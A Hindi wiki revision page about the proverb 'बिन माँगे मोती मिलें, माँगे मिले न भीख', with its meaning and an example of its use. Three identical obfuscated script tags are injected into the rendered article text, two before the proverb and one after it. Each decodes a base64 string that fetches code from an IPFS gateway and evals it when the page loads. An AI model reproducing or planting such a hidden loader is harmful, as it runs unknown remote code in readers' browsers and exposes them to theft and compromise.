"बिन माँगे मोती मिलें" के अवतरणों में अंतर
('{{पुनरीक्षण}} <blockquote>{{blue}}बिन माँगे मोती मिलैं, माँगे मिले ...' के साथ नया पन्ना बनाया) |
गोविन्द राम (चर्चा | योगदान) |
||
(इसी सदस्य द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{पुनरीक्षण}} | {{पुनरीक्षण}} | ||
− | <blockquote>{{blue}}बिन माँगे मोती | + | <blockquote>{{blue}}बिन माँगे मोती मिलें, माँगे मिले न भीख{{blueclose}}</blockquote> |
*यह [[कहावत लोकोक्ति मुहावरे|लोकोक्ति]] एक प्रचलित कहावत है। | *यह [[कहावत लोकोक्ति मुहावरे|लोकोक्ति]] एक प्रचलित कहावत है। | ||
*इसका अर्थ- माँगे बिना अच्छी वस्तु की प्राप्ति हो जाती है, माँगने पर साधारण भी नहीं मिलती। | *इसका अर्थ- माँगे बिना अच्छी वस्तु की प्राप्ति हो जाती है, माँगने पर साधारण भी नहीं मिलती। | ||
;उदाहरण | ;उदाहरण | ||
परिश्रमी और योग्य व्यक्ति को परिश्रम से सब कुछ मिल सकता है, जबकि भिखारी घर-घर घूमते हैं और उनको माँगने पर भीख भी नहीं मिलती। | परिश्रमी और योग्य व्यक्ति को परिश्रम से सब कुछ मिल सकता है, जबकि भिखारी घर-घर घूमते हैं और उनको माँगने पर भीख भी नहीं मिलती। | ||
− | + | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
[[Category:कहावत लोकोक्ति मुहावरे]] | [[Category:कहावत लोकोक्ति मुहावरे]] | ||
− | [[Category: | + | [[Category:साहित्य कोश]] |
__INDEX__ | __INDEX__ |
09:07, 9 अगस्त 2011 के समय का अवतरण
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>बिन माँगे मोती मिलें, माँगे मिले न भीख<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- यह लोकोक्ति एक प्रचलित कहावत है।
- इसका अर्थ- माँगे बिना अच्छी वस्तु की प्राप्ति हो जाती है, माँगने पर साधारण भी नहीं मिलती।
- उदाहरण
परिश्रमी और योग्य व्यक्ति को परिश्रम से सब कुछ मिल सकता है, जबकि भिखारी घर-घर घूमते हैं और उनको माँगने पर भीख भी नहीं मिलती।
टीका टिप्पणी और संदर्भ